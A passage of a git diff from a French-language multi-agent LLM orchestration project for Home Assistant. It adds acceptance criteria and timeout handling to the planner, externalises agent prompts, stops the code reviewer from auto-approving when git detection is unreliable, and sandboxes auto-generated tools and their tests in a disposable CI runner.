AGENTS :\n" "- Pour toute tâche liée à Home Assistant (état d'un équipement, appel de service, etc.) ou à sa base de données Recorder SQLite, cible obligatoirement 'ha_agent'.\n" "- Privilégie l'utilisation des outils spécifiques (comme 'read_file', 'write_file' ou les outils MCP 'mcp_...') plutôt que d'exécuter des commandes système via le terminal.\n" - f"{cmd_rule_std}" + "{{CMD_RULE}}" ) - + system_prompt = load_agent_prompt("planner", default_standard_prompt).replace( + "{{CMD_RULE}}", cmd_rule_std + ) + user_prompt = f"Objectif : {payload.task_objective}\nContexte : {payload.relevant_context}" - + # Schéma JSON strict attendu pour le plan avec DAG orienté schema = { "type": "object", @@ -137,36 +172,82 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: }, "required": ["task_id", "objective", "target_agent", "model_tier", "depends_on"] } + }, + # [#T253] Contrat d'acceptation. **Obligatoire au schéma** depuis la + # mesure du 10/08 : facultatif, il n'a JAMAIS été produit — 7 plans en + # prod, 0 critère. Un modèle ne renseigne de façon fiable que ce que + # `required` impose. La liste VIDE reste la réponse correcte pour un + # objectif non vérifiable mécaniquement : c'est la clé qui devient + # obligatoire, pas le fait d'inventer des critères. + "criteres_acceptation": { + "type": "array", + "items": { + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": ["commande", "fichier_contient", "fichier_existe"], + "description": "Nature de la vérification mécanique." + }, + "valeur": { + "type": "string", + "description": "La commande à exécuter, ou le chemin du fichier concerné." + }, + "attendu": { + "type": "string", + "description": "Pour 'fichier_contient' : le texte ou motif qui doit s'y trouver." + }, + "description": { + "type": "string", + "description": "Ce que ce critère prouve, en une phrase." + } + }, + "required": ["type", "valeur"] + }, + "description": "OBLIGATOIRE. Vérifications mécaniques prouvant que l'objectif est atteint. Liste vide [] si l'objectif n'est pas vérifiable mécaniquement (question, analyse, discussion) — mais la clé doit toujours être présente." } }, - "required": ["plan"] + "required": ["plan", "criteres_acceptation"] } - + logger.info("[PLANNER] Réflexion sur le plan d'action (V5 DAG)...") - + try: # Enrichir le prompt du Planner avec la liste dynamique des agents du workflow enriched_prompt = _workflow_bridge.inject_into_planner_prompt(system_prompt) - - # Timeout 90s sur le Planner pour éviter le blocage CLI infini. - # Si le provider (ex: Claude CLI subprocess) dépasse 90s sans réponse, - # on lève asyncio.TimeoutError → capturé par le except ci-dessous → StateUpdate error. - response_json = await asyncio.wait_for( - provider.generate_structured_async( - system_prompt=enriched_prompt + "\nFormat de sortie OBLIGATORY (JSON): " + json.dumps(schema), - user_prompt=user_prompt, - schema=schema, - session_id=session_id, - ), - timeout=90.0 # 90s max — deepseek-reasoner répond en ~30s - ) - + + # [#T277] Fenêtre du Planner, calculée pour que la cascade puisse + # réellement BASCULER. Elle valait 90 s en dur, alors qu'UNE tentative + # provider dure jusqu'à 120 s : le premier modèle lent consommait + # toute la fenêtre et les suivants n'étaient jamais essayés. Mesuré + # deux fois en prod le 11/08 — une seule tentative, plan vide, et un + # message d'erreur vide puisque `asyncio.TimeoutError` n'en porte pas. + fenetre_planner = duree_planner_s() + try: + response_json = await asyncio.wait_for( + provider.generate_structured_async( + system_prompt=enriched_prompt + "\nFormat de sortie OBLIGATORY (JSON): " + json.dumps(schema), + user_prompt=user_prompt, + schema=schema, + session_id=session_id, + ), + timeout=fenetre_planner, + ) + except TimeoutError as expiration: + # Sans ce ré-emballage, le journal affiche « Échec de la génération + # du plan : » suivi de RIEN, et la cause doit être devinée dans une + # autre ligne, 30 s plus loin. + raise TimeoutError( + f"Aucun modèle n'a répondu dans la fenêtre du Planner " + f"({fenetre_planner:.0f}s, cascade comprise)." + ) from expiration + plan = response_json.get("plan", []) if not plan: raise ValueError("Le Planner a généré un DAG vide (plan: []).") - + new_tasks = [] - + # Calcul dynamique des stage_id pour la rétrocompatibilité (Dashboard V4) task_by_id = {step["task_id"]: step for step in plan} memo_stages = {} @@ -193,7 +274,7 @@ def get_stage_id(t_id: str, visited: set) -> int: # Injection du stage_id calculé pour chaque tâche for step in plan: step["stage_id"] = get_stage_id(step["task_id"], set()) - + # Transformation du JSON en liste de TaskPayload for step in plan: new_tasks.append( @@ -212,7 +293,7 @@ def get_stage_id(t_id: str, visited: set) -> int: } ) ) - + # [SDD V5.2] Garde-fou : injection automatique d'une tâche verify_* si absente has_verify = any(t.task_id and t.task_id.startswith("verify_") for t in new_tasks) if not has_verify and len(new_tasks) > 1: @@ -244,17 +325,55 @@ def get_stage_id(t_id: str, visited: set) -> int: ) new_tasks.append(verify_task) logger.info(f"[PLANNER] [SDD] Tâche de vérification auto-injectée : verify_sdd (stage {max_stage + 1})") - + + # [#T245] Le prompt demande un plan en éventail ; la normalisation le + # garantit : maps parallèles sur le tier léger, nœud d'agrégation sur + # le tier fort. Déterministe, donc vérifiable — un prompt, non. + from core.dag.node_tier_policy import normaliser_tiers_du_plan + rapport_tiers = normaliser_tiers_du_plan(new_tasks, config) + if rapport_tiers["maps"] or rapport_tiers["reduce"]: + logger.info( + f"[PLANNER] [T245] Tiers normalisés : {len(rapport_tiers['maps'])} map(s) en tier léger, " + f"reduce = {rapport_tiers['reduce']}, {rapport_tiers['inchangees']} tâche(s) inchangée(s)." + ) + + # [#T253] Contrat d'acceptation transporté dans les metadata du + # StateUpdate : la boucle de revue le retrouvera dans l'historique. + from core.acceptance_contract import CLE_CONTRAT, normaliser_criteres + criteres = normaliser_criteres(response_json.get("criteres_acceptation")) + if criteres: + logger.info( + f"[PLANNER] [T253] Contrat d'acceptation : {len(criteres)} critère(s) — " + + " | ".join(c.libelle() for c in criteres[:4]) + ) + else: + # Journalisé explicitement : sans cette ligne, « 0 contrat évalué » + # ne permet pas de distinguer « le Planner n'en produit pas » de + # « la revue n'a pas tourné ». Les deux se sont produits le 10/08. + logger.warning( + "[PLANNER] [T253] Aucun critère d'acceptation produit pour ce plan " + "— la revue retombera sur l'avis du Reviewer." + ) + return StateUpdate( agent_name=self.name, status="success", result_data=f"Plan DAG généré avec {len(new_tasks)} étapes réparties sur {max((step.get('stage_id', 1) for step in plan), default=1)} niveaux logiques.", next_agent="END", - new_tasks=new_tasks + new_tasks=new_tasks, + metadata={ + CLE_CONTRAT: [ + {"type": c.type, "valeur": c.valeur, "attendu": c.attendu, "description": c.description} + for c in criteres + ] + } if criteres else {}, ) - + except Exception as e: - logger.error(f"[PLANNER] Échec de la génération du plan : {e}") + # [#T277] `type(e).__name__` : une exception sans message (asyncio + # TimeoutError, CancelledError) produisait une ligne de journal qui + # se terminait par « : » et ne disait rien de la cause. + logger.error(f"[PLANNER] Échec de la génération du plan : {type(e).__name__}: {e}") return StateUpdate( agent_name=self.name, status="error", diff --git a/agents/prompt_engineer_agent.py b/agents/prompt_engineer_agent.py index a30b80c..0e1ad42 100644 --- a/agents/prompt_engineer_agent.py +++ b/agents/prompt_engineer_agent.py @@ -1,9 +1,16 @@ -import logging -import json +""" +agents/prompt_engineer_agent.py — Transforme une demande brouillonne en prompt +expert structuré (Few-Shot, CoT, balises), prêt à copier-coller vers un autre LLM. + +Tier fort par défaut, timeout 60s. Sortie = uniquement le texte du prompt +final, sans bavardage. +""" import asyncio -from core.state import TaskPayload, StateUpdate +import logging + from agents.base_agent import BaseAgent from core.llm_gateway import LLMGateway +from core.state import StateUpdate, TaskPayload logger = logging.getLogger(__name__) @@ -14,9 +21,12 @@ class PromptEngineerAgent(BaseAgent): enrichi du contexte du système ou formaté pour une IA cible. """ def __init__(self, llm_gateway: LLMGateway, provider_name: str = "fort"): + # [#T188] Prompt externalisé en Markdown (contexte_ia/03_Software/prompts_agents/ + # prompt_engineer.md) ; la chaîne ci-dessous reste le repli si le fichier est absent. + from core.prompt_loader import load_agent_prompt super().__init__( name="prompt_engineer", - system_prompt="""Tu es le PromptEngineerAgent, un expert absolu en ingénierie de prompt. + system_prompt=load_agent_prompt("prompt_engineer", """Tu es le PromptEngineerAgent, un expert absolu en ingénierie de prompt. Ton rôle est de prendre la demande brouillonne de l'utilisateur et de construire un prompt parfait, hyper-structuré, destiné à être lu par un autre LLM (comme DeepSeek, Claude Opus ou Gemini). @@ -27,16 +37,16 @@ def __init__(self, llm_gateway: LLMGateway, provider_name: str = "fort"): 4. Demander à l'IA cible de réfléchir étape par étape (Chain-of-Thought) si nécessaire. 5. Définir explicitement le format de sortie attendu. -Retourne UNIQUEMENT le texte du prompt final optimisé, sans bavardage avant ni après, prêt à être copié-collé.""" +Retourne UNIQUEMENT le texte du prompt final optimisé, sans bavardage avant ni après, prêt à être copié-collé.""") ) self.gateway = llm_gateway self.provider_name = provider_name - + async def invoke(self, payload: TaskPayload) -> StateUpdate: from core.llm_gateway import load_config config = load_config() session_id = payload.metadata.get("session_id") - + # Détermination du fournisseur if self.provider_name in ["leger", "moyen", "fort", "automatique"]: _, provider = self.gateway.get_provider_for_tier(self.provider_name, config) @@ -45,11 +55,11 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: provider = self.gateway.get_provider(self.provider_name) except ValueError: _, provider = self.gateway.get_provider_for_tier("fort", config) - + user_prompt = f"Objectif initial de l'utilisateur : {payload.task_objective}\nContexte fourni : {payload.relevant_context}\n\nGénère le prompt optimisé." - + logger.info("[PROMPT_ENGINEER] Génération d'un prompt hyper-optimisé...") - + try: # On laisse 60 secondes au modèle pour générer le prompt (un peu plus long si appel API complexe) response = await asyncio.wait_for( @@ -60,14 +70,14 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: ), timeout=60.0 ) - + return StateUpdate( agent_name=self.name, status="success", result_data=response, next_agent="END" ) - + except Exception as e: logger.error(f"[PROMPT_ENGINEER] Échec de la génération : {e}") return StateUpdate( diff --git a/agents/reviewer.py b/agents/reviewer.py index d1c5214..a7ea0b7 100644 --- a/agents/reviewer.py +++ b/agents/reviewer.py @@ -1,12 +1,30 @@ -import logging -import json +""" +agents/reviewer.py — Agent de revue de code post-DAG (Checker). + +Valide le code généré/modifié (sécurité des secrets, conformité ESPHome/GPIO, +commentaires en français) et retourne un verdict `code_approved` + un score +gradué 0-10 (`quality_score`). Détection git-aware des fichiers modifiés ; +soft-approve si sévérité minor/info. Met à jour l'Elo du routing_type via +`core/elo_router.py`. Appelé en micro-cycle par `agents/executor.py` et en +boucle complète par `core/review_loop.py`. +""" import asyncio -from core.state import TaskPayload, StateUpdate +import json +import logging + from agents.base_agent import BaseAgent from core.llm_gateway import LLMGateway +from core.state import StateUpdate, TaskPayload logger = logging.getLogger(__name__) +_background_tasks = set() + +class GitDetectionError(Exception): + """Exception levée lorsque la détection Git est impossible (ex: pas de dépôt, commande absente, erreur).""" + pass + + class ReviewerAgent(BaseAgent): """ Agent spécialisé dans la revue de code et la validation sémantique (Checker/Reviewer). @@ -14,9 +32,12 @@ class ReviewerAgent(BaseAgent): de sécurité (secrets), et des consignes utilisateur (commentaires en français, DAC, GPIO). """ def __init__(self, llm_gateway: LLMGateway, provider_name: str = "deepseek"): + # [#T188] Prompt externalisé en Markdown (contexte_ia/03_Software/prompts_agents/ + # reviewer.md) ; la chaîne ci-dessous reste le repli si le fichier est absent. + from core.prompt_loader import load_agent_prompt super().__init__( name="reviewer", - system_prompt="""Tu es le ReviewerAgent (Checker), un ingénieur expert en revue de code, architectures domotiques (Home Assistant, ESPHome C++) et de développement général. + system_prompt=load_agent_prompt("reviewer", """Tu es le ReviewerAgent (Checker), un ingénieur expert en revue de code, architectures domotiques (Home Assistant, ESPHome C++) et de développement général. Ton unique rôle est de relire et valider de façon critique le code proposé par les agents développeurs avant sa fusion. DIRECTIVES DE REVUE ET CRITÈRES D'ACCEPTATION : @@ -24,87 +45,214 @@ def __init__(self, llm_gateway: LLMGateway, provider_name: str = "deepseek"): 2. SÉCURITÉ DES SECRETS : Aucun mot de passe, clé d'API, ou identifiant WiFi ne doit être écrit en clair. Ils doivent tous utiliser la syntaxe `!secret nom_du_secret` dans les fichiers Home Assistant et ESPHome. 3. CONFORMITÉ ESPHOME (C++ / GPIO) : - Vérifie la compatibilité des pins GPIO (pas de conflit sur les pins réservés au boot, comme GPIO12 sur l'ESP32). - - Pour la puce audio ES8388 (DAC), assure-toi que le registre de puissance `DACPOWER` (0x04) est rallumé via l'écriture brute I2C `{0x04, 0x00}` dans le `on_boot`, pour compenser le bug officiel d'inversion d'ESPHome. + - Pour la puce audio ES8388 (DAC), assure-toi que le registre de puissance `DACPOWER` (0x04) is rallumé via l'écriture brute I2C `{0x04, 0x00}` dans le `on_boot`, pour compenser le bug officiel d'inversion d'ESPHome. - Vérifie que le `dac_output` de l'ES8388 est bien configuré sur `LINE1` (indispensable pour avoir du son). 4. QUALITÉ DU CODE : Recherche les erreurs d'indentation, les importations manquantes, et les fonctions/variables mal nommées. 5. RIGUEUR DU VERDICT : Si le code comporte une faille, un bug, ou une consigne non respectée, tu DOIS rejeter la modification et lister précisément les corrections requises. Sois très strict. 6. QUALITÉ VISUELLE (si un rapport d'analyse visuelle ou un screenshot est fourni dans le contexte) : Évalue l'harmonie des couleurs, la lisibilité des textes, l'alignement des éléments, la cohérence du design avec les standards premium (glassmorphism, coins arrondis, animations fluides). Un score visuel inférieur à 5/10 doit entraîner un rejet avec des recommandations précises. -7. SCORE DE QUALITÉ GRADUÉ : En plus du verdict binaire, attribue un `quality_score` de 0 (inacceptable) à 10 (parfait), cohérent avec la sévérité : critical≈0-3, major≈3-6, minor≈6-8, info≈8-10. Ce score sert à décider d'une éventuelle escalade vers un modèle plus puissant pour la correction — sois précis et non paresseux (n'attribue pas systématiquement 5).""" +7. SCORE DE QUALITÉ GRADUÉ : En plus du verdict binaire, attribue un `quality_score` de 0 (inacceptable) à 10 (parfait), cohérent avec la sévérité : critical≈0-3, major≈3-6, minor≈6-8, info≈8-10. Ce score sert à décider d'une éventuelle escalade vers un modèle plus puissant pour la correction — sois précis et non paresseux (n'attribue pas systématiquement 5).""") ) self.gateway = llm_gateway self.provider_name = provider_name - - def _has_modified_files(self) -> bool: - """Détecte s'il y a des fichiers de code ou config modifiés dans les workspaces Git.""" + + def _is_git_repo_informative(self, git_dir: str) -> bool: + """Vérifie qu'un dépôt Git est une vraie copie de travail maintenue. + + Cas réel (#T209, constaté en prod sur le Deck) : le dossier déployé par + overlay `cp -rf` contient un dépôt sans aucun remote et réduit à un commit + unique ("Initial commit"), jamais mis à jour — `git status --porcelain` y + est vide en permanence. La détection "réussit" donc techniquement mais + n'est pas informative : s'y fier reviendrait à auto-approuver toute la + prod à 10/10 sans relecture. + + Heuristique : un dépôt est jugé non informatif s'il n'a AUCUN remote ET + un seul commit (ou aucun). Un dépôt avec remote est maintenu (clone) ; + un dépôt local avec un vrai historique est réellement utilisé. + """ import subprocess - import os + + remotes = subprocess.run( + ["git", "remote"], + stdout=subprocess.PIPE, stderr=subprocess.PIPE, + text=True, cwd=git_dir, encoding='utf-8', errors='ignore' + ) + if remotes.returncode != 0: + return False + if remotes.stdout.strip(): + return True + + count_result = subprocess.run( + ["git", "rev-list", "--count", "HEAD"], + stdout=subprocess.PIPE, stderr=subprocess.PIPE, + text=True, cwd=git_dir, encoding='utf-8', errors='ignore' + ) + if count_result.returncode != 0: + # HEAD absent (dépôt sans le moindre commit) : non informatif + return False try: - # Recherche des dépôts Git dans le workspace - project_root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) - git_dirs = [] - if os.path.exists(os.path.join(project_root, ".git")): - git_dirs.append(project_root) - else: - try: - for item in os.listdir(project_root): - item_path = os.path.join(project_root, item) - if os.path.isdir(item_path) and os.path.exists(os.path.join(item_path, ".git")): - git_dirs.append(item_path) - except Exception: - pass - + commit_count = int(count_result.stdout.strip()) + except ValueError: + return False + return commit_count > 1 + + # [#T276] Dossiers qui ne sont PAS des espaces de travail : sauvegardes prises + # avant déploiement, archives, exports. Ils contiennent souvent un `.git` + # figé, et les ramasser fait échouer la détection pour tout le monde. + _DOSSIERS_NON_WORKSPACE = ("_pre_codedeploy", "_old", "backups_prod", "backups", "_backup") + + @classmethod + def _est_dossier_workspace(cls, nom: str) -> bool: + """[#T276] Un dossier d'archive n'est pas un espace de travail à relire.""" + return not any(marqueur in nom for marqueur in cls._DOSSIERS_NON_WORKSPACE) + + def _has_modified_files(self, racine: str | None = None) -> bool: + """Détecte s'il y a des fichiers de code ou config modifiés dans les workspaces Git. + + [#T276] Un dépôt non informatif ne fait plus échouer la détection ENTIÈRE : + il est ignoré, et l'exception n'est levée que s'il ne reste AUCUN dépôt + exploitable. Mesuré en prod le 11/08 : le Deck contient trois dossiers + `_pre_codedeploy_*` (sauvegardes d'avant déploiement) à côté du vrai + dépôt ; un seul d'entre eux suffisait à lever `GitDetectionError`, donc à + bloquer l'auto-approbation, donc à forcer une revue LLM sur CHAQUE tâche + — y compris celles sans le moindre fichier de code modifié. Le LLM, + n'ayant rien à relire, rendait alors un verdict `critical` à 0/10 et + faisait échouer un travail réussi (chaîne complète : #T274 → #T276). + + L'intention de #T209 est préservée : si aucun dépôt fiable n'est + disponible, on refuse toujours de conclure et la revue reste obligatoire. + + Args: + racine: racine d'exploration (injectable pour les tests). + + Raises: + GitDetectionError: Si la détection Git est impossible ou échoue. + """ + import os + import subprocess + + # Recherche des dépôts Git dans le workspace + project_root = racine or os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + git_dirs = [] + if os.path.exists(os.path.join(project_root, ".git")): + git_dirs.append(project_root) + else: + try: + for item in os.listdir(project_root): + item_path = os.path.join(project_root, item) + if ( + os.path.isdir(item_path) + and self._est_dossier_workspace(item) + and os.path.exists(os.path.join(item_path, ".git")) + ): + git_dirs.append(item_path) + except Exception as e: + raise GitDetectionError(f"Erreur d'exploration du workspace pour les dépôts Git : {e}") + + if racine is None: moteur_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) if moteur_dir not in git_dirs and os.path.exists(os.path.join(moteur_dir, ".git")): git_dirs.append(moteur_dir) - for git_dir in git_dirs: + if not git_dirs: + raise GitDetectionError("Aucun dépôt Git détecté. Revue de code obligatoire.") + + modified_found = False + depots_exploitables = 0 + for git_dir in git_dirs: + # [#T209] Un dépôt "parasite" (sans remote, commit unique) rend git status + # vide en permanence : son silence ne prouve rien. + # [#T276] On l'IGNORE au lieu de condamner toute la détection. + try: + informative = self._is_git_repo_informative(git_dir) + except FileNotFoundError: + raise GitDetectionError("La commande 'git' n'est pas disponible dans le système.") + except Exception as e: + raise GitDetectionError(f"Erreur lors de la vérification du dépôt {git_dir} : {e}") + if not informative: + logger.debug( + f"[REVIEWER] Dépôt non informatif ignoré : {git_dir} " + f"(aucun remote et commit unique — sauvegarde ou overlay)." + ) + continue + depots_exploitables += 1 + + try: result = subprocess.run( ["git", "status", "--porcelain"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, cwd=git_dir, encoding='utf-8', errors='ignore' ) - if result.returncode == 0: - for line in result.stdout.splitlines(): - parts = line.strip().split(maxsplit=1) - if len(parts) == 2: - filename = parts[1] - # Ignorer le log, les BDD du moteur, le stockage HA et config HA - if any(k in filename for k in ["moteur.log", "moteur_runtime.db", "models_registry.db", "memory.db", ".storage", "ServeurHA"]): - continue - # Ignorer le format JSON de la revue de code - if filename.endswith(('.yaml', '.yml', '.py', '.cpp', '.h', '.ino', '.html', '.css', '.js', '.md')): - logger.info(f"[REVIEWER] Fichier modifié détecté dans Git : {filename}") - return True - except Exception as e: - logger.warning(f"[REVIEWER] Exception durant la vérification des modifications Git : {e}") - return False + except FileNotFoundError: + raise GitDetectionError("La commande 'git' n'est pas disponible dans le système.") + except Exception as e: + raise GitDetectionError(f"Erreur lors de l'exécution de git status dans {git_dir} : {e}") + + if result.returncode != 0: + raise GitDetectionError( + f"La commande git status a échoué (code {result.returncode}) dans {git_dir} : {result.stderr.strip()}" + ) + + for line in result.stdout.splitlines(): + parts = line.strip().split(maxsplit=1) + if len(parts) == 2: + filename = parts[1] + # Ignorer le log, les BDD du moteur, le stockage HA et config HA + if any(k in filename for k in ["moteur.log", "moteur_runtime.db", "models_registry.db", "memory.db", ".storage", "ServeurHA"]): + continue + # Ignorer le format JSON de la revue de code + if filename.endswith(('.yaml', '.yml', '.py', '.cpp', '.h', '.ino', '.html', '.css', '.js', '.md')): + logger.info(f"[REVIEWER] Fichier modifié détecté dans Git : {filename}") + modified_found = True + + # [#T276] Aucun dépôt exploitable parmi ceux trouvés : on ne peut rien + # conclure, la revue reste obligatoire (intention de #T209 préservée). + if depots_exploitables == 0: + raise GitDetectionError( + f"Aucun dépôt Git informatif parmi {len(git_dirs)} trouvé(s) — " + "sauvegardes ou dossiers déployés par overlay uniquement. " + "Revue de code obligatoire." + ) + + return modified_found async def invoke(self, payload: TaskPayload) -> StateUpdate: from core.llm_gateway import load_config config = load_config() session_id = payload.metadata.get("session_id") tier = payload.metadata.get("model_tier", self.provider_name) - + # Court-circuit : si aucun fichier de code ou de configuration n'a été modifié, pas besoin de revue - if not self._has_modified_files(): - logger.info("[REVIEWER] Aucun fichier de code ou de configuration modifié détecté. Auto-approbation par défaut.") - return StateUpdate( - agent_name=self.name, - status="success", - result_data="Auto-approuvé : Aucune modification de fichier détectée.", - next_agent="END", - metadata={"severity": "info", "approved": True, "quality_score": 10.0} + try: + has_mods = self._has_modified_files() + if not has_mods: + logger.info("[REVIEWER] Aucun fichier de code ou de configuration modifié détecté. Auto-approbation par défaut.") + return StateUpdate( + agent_name=self.name, + status="success", + result_data="Auto-approuvé : Aucune modification de fichier détectée.", + next_agent="END", + metadata={"severity": "info", "approved": True, "quality_score": 10.0} + ) + except GitDetectionError as e: + logger.warning( + f"[REVIEWER] Détection Git impossible, auto-approbation à 10/10 bloquée. " + f"Analyse forcée via LLM par sécurité. Erreur : {e}" + ) + except Exception as e: + logger.warning( + f"[REVIEWER] Erreur imprévue lors de la vérification des fichiers modifiés, " + f"auto-approbation bloquée. Erreur : {e}" ) # Détermination du fournisseur de modèle pour la relecture resolved_model_name, provider = self.gateway.get_provider_for_tier(tier, config) logger.info(f"[REVIEWER] Utilisation du modèle pour la relecture : {resolved_model_name}") - + user_prompt = ( f"Tâche / Objectif d'origine : {payload.task_objective}\n" f"Code à relire et contexte de la modification : \n{payload.relevant_context}" ) - + # Schéma JSON attendu de la relecture schema = { "type": "object", @@ -134,15 +282,18 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: }, "required": ["code_approved", "severity", "review_feedback", "target_corrections", "quality_score"] } - + try: response_json = await provider.generate_structured_async( system_prompt=self.system_prompt + "\nFormat de sortie OBLIGATORY (JSON): " + json.dumps(schema), user_prompt=user_prompt, schema=schema, session_id=session_id, + # [T287] Le Reviewer juge du code : il lui faut les conventions + # du projet pour ne pas refuser ce qui les respecte (ou l'inverse). + conventions_projet=True, ) - + approved = response_json.get("code_approved", False) severity = response_json.get("severity", "major") feedback = response_json.get("review_feedback", "Aucun commentaire fourni.") @@ -162,9 +313,11 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: _routing_type = payload.metadata.get("routing_type", "") if _routing_type: from core.elo_router import get_elo_router - asyncio.create_task( + task = asyncio.create_task( get_elo_router().update_score(_routing_type, quality_score) ) + _background_tasks.add(task) + task.add_done_callback(_background_tasks.discard) except Exception as _ee: logger.debug(f"[REVIEWER] EloRouter update skipped : {_ee}") @@ -174,7 +327,7 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: approved = True feedback = f"[SOFT-APPROVE] {feedback}" - + if approved: return StateUpdate( agent_name=self.name, @@ -194,7 +347,7 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: error_message=error_msg, metadata={"severity": severity, "approved": False, "corrections": corrections, "quality_score": quality_score} ) - + except Exception as e: logger.error(f"[REVIEWER] Échec de la session de relecture : {e}") # En cas de crash de l'API de relecture, on choisit de rejeter par sécurité diff --git a/agents/tool_maker_agent.py b/agents/tool_maker_agent.py index bcda023..87d265a 100644 --- a/agents/tool_maker_agent.py +++ b/agents/tool_maker_agent.py @@ -11,30 +11,33 @@ 1. Recevoir une séquence d'outils répétitive depuis le SkillStore 2. Générer un script Python héritant d'une interface standard 3. Valider le script (ast.parse + import check) -4. Sauvegarder dans plugins/auto_generated// -5. Enregistrer dans le ToolRegistry (hot-reload) +4. Générer un test minimal (import + appel + retour non None) à côté de l'outil +5. Exécuter ce test dans le runner distant : échec → outil rejeté, jamais enregistré +6. Sauvegarder outil + test dans plugins/auto_generated// +7. Enregistrer dans le ToolRegistry (hot-reload) Sécurité : - Le code généré est validé syntaxiquement (ast.parse) avant chargement +- [#T207] La validation d'exécution se fait dans un runner GitHub Actions + jetable (core/toolmaker_sandbox.py) — JAMAIS dans un subprocess local : + le code candidat est non maîtrisé (RCE si exécuté avec les droits moteur) +- [#T190] Le fichier de test généré est exécuté dans le même runner : sans + SANDBOX_OK en sortie, l'outil n'est ni sauvegardé ni enregistré - Un flag auto_generated: true distingue les outils auto-créés - L'exécution est wrappée dans un try/except global """ -import os -import re import ast -import sys # [P0-1.4] Sandbox dans le même interpréteur (portable) +import asyncio import json -import shutil # [P0-1.4] Nettoyage des répertoires temp imprévisibles import logging -import asyncio -import subprocess # Sandbox validation -import tempfile # Fichiers temporaires -from typing import Optional, Dict, Any +import os +import re +from typing import Any -from core.state import TaskPayload, StateUpdate -from core.validation import is_valid_tool_name, is_valid_class_name # [P0-1.4] from agents.base_agent import BaseAgent +from core.state import StateUpdate, TaskPayload +from core.validation import is_valid_class_name, is_valid_tool_name # [P0-1.4] logger = logging.getLogger(__name__) @@ -110,6 +113,66 @@ async def execute(self, **kwargs) -> dict: ''' +# [#T190] Template du test minimal généré à côté de chaque outil auto-généré. +# Le fichier est exécutable seul (python test_.py) et imprime +# SANDBOX_OK sur succès, SANDBOX_FAIL sinon (code 1) : c'est ce que +# le runner GitHub Actions ToolMaker Validate attend en sortie (#T207). +TOOL_TEST_TEMPLATE = '''""" +test_{tool_name}.py — Test minimal de l'outil auto-généré {tool_name} (#T190). + +Généré automatiquement par le ToolMakerAgent en même temps que {tool_name}.py +— ne pas modifier manuellement. + +Vérifie, dans l'ordre : +1. L'import du module outil (attrape la moitié des erreurs : syntaxe, nom de + classe, dépendance manquante) ; +2. L'appel de execute() avec des arguments valides déduits de sa signature + (les clés réellement lues dans **kwargs) ; +3. Que le retour n'est ni None ni une exception. + +Exécution locale : python test_{tool_name}.py +Sortie : SANDBOX_OK si tout passe, SANDBOX_FAIL sinon (code 1). +Le runner GitHub Actions ToolMaker Validate (#T207/#T190) exécute ce fichier : +sans SANDBOX_OK en sortie, l'outil est rejeté et jamais enregistré. +""" + +import asyncio +import os +import sys + +# L'import doit résoudre le module outil situé À CÔTÉ de ce fichier : même +# mécanique dans le runner GitHub Actions (candidats dans .toolmaker_sandbox/) +# et dans plugins/auto_generated//. +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + + +def test_execute(): + """Importe le module outil puis vérifie l'appel et le retour.""" + # Import DANS la fonction : un échec d'import (syntaxe, classe absente) + # est attrapé par le __main__ et produit un verdict SANDBOX_FAIL avec la + # raison exacte, plutôt qu'une traceback sans verdict. + from {tool_name} import {class_name} + + tool = {class_name}() + result = asyncio.run(tool.execute({kwargs_repr})) + # Ni None ni exception : un appel qui lève fait échouer le test. + assert result is not None, "execute() a retourné None" + assert isinstance(result, dict), ( + f"execute() a retourné {{type(result).__name__}}, dict attendu" + ) + assert "success" in result, "le retour ne contient pas la clé 'success'" + + +if __name__ == "__main__": + try: + test_execute() + print("SANDBOX_OK") + except Exception as exc: + print(f"SANDBOX_FAIL: {{exc}}") + sys.exit(1) +''' + + class ToolMakerAgent(BaseAgent): """ Agent méta-générateur : crée des outils Python réutilisables @@ -117,9 +180,12 @@ class ToolMakerAgent(BaseAgent): """ def __init__(self, llm_gateway=None, **kwargs): + # [#T188] Prompt externalisé en Markdown (contexte_ia/03_Software/prompts_agents/ + # tool_maker.md) ; la chaîne ci-dessous reste le repli si le fichier est absent. + from core.prompt_loader import load_agent_prompt super().__init__( name="tool_maker", - system_prompt="""Tu es le ToolMakerAgent, un ingénieur spécialisé dans la génération de code Python. + system_prompt=load_agent_prompt("tool_maker", """Tu es le ToolMakerAgent, un ingénieur spécialisé dans la génération de code Python. Ton rôle est de condenser des séquences d'outils répétitives en un outil atomique Python réutilisable. RÈGLES DE GÉNÉRATION : @@ -129,6 +195,8 @@ def __init__(self, llm_gateway=None, **kwargs): 4. Ne JAMAIS hardcoder de chemins absolus ou de clés API 5. Le résultat doit être un dict avec "success" (bool) et "result" (str) 6. Importer uniquement des modules standard Python (os, json, re, subprocess) +7. Lire les paramètres via kwargs.get('nom', valeur_par_defaut) : l'outil est + teste automatiquement avec des valeurs simples avant d'etre enregistre Tu dois répondre en JSON strict avec la structure : { @@ -136,7 +204,7 @@ def __init__(self, llm_gateway=None, **kwargs): "class_name": "NomOutilPascalCase", "description": "Description courte de l'outil", "execution_logic": "code Python indenté pour le corps de execute()" -}""" +}""") ) self._gateway = llm_gateway @@ -240,18 +308,20 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: # [P0-1.4] Fail-closed : ne JAMAIS écrire sur disque un outil non validé. if not sandbox_result["passed"]: logger.warning( - f"[TOOL-MAKER] Outil '{final_tool_name}' rejeté (sandbox échoué) " - f"— non sauvegardé. err={sandbox_result.get('last_error')}" + f"[TOOL-MAKER] Outil '{final_tool_name}' rejeté — son test " + f"minimal (test_{final_tool_name}.py) a échoué dans le runner " + f"GitHub Actions ; non sauvegardé. err={sandbox_result.get('last_error')}" ) return StateUpdate( agent_name=self.name, status="error", error_message=( - f"Outil '{final_tool_name}' rejeté : validation sandbox " - f"échouée ({sandbox_result.get('last_error', 'raison inconnue')})." + f"Outil '{final_tool_name}' rejeté : la validation sandbox a " + f"échoué — le test minimal n'a pas passé " + f"({sandbox_result.get('last_error', 'raison inconnue')})." 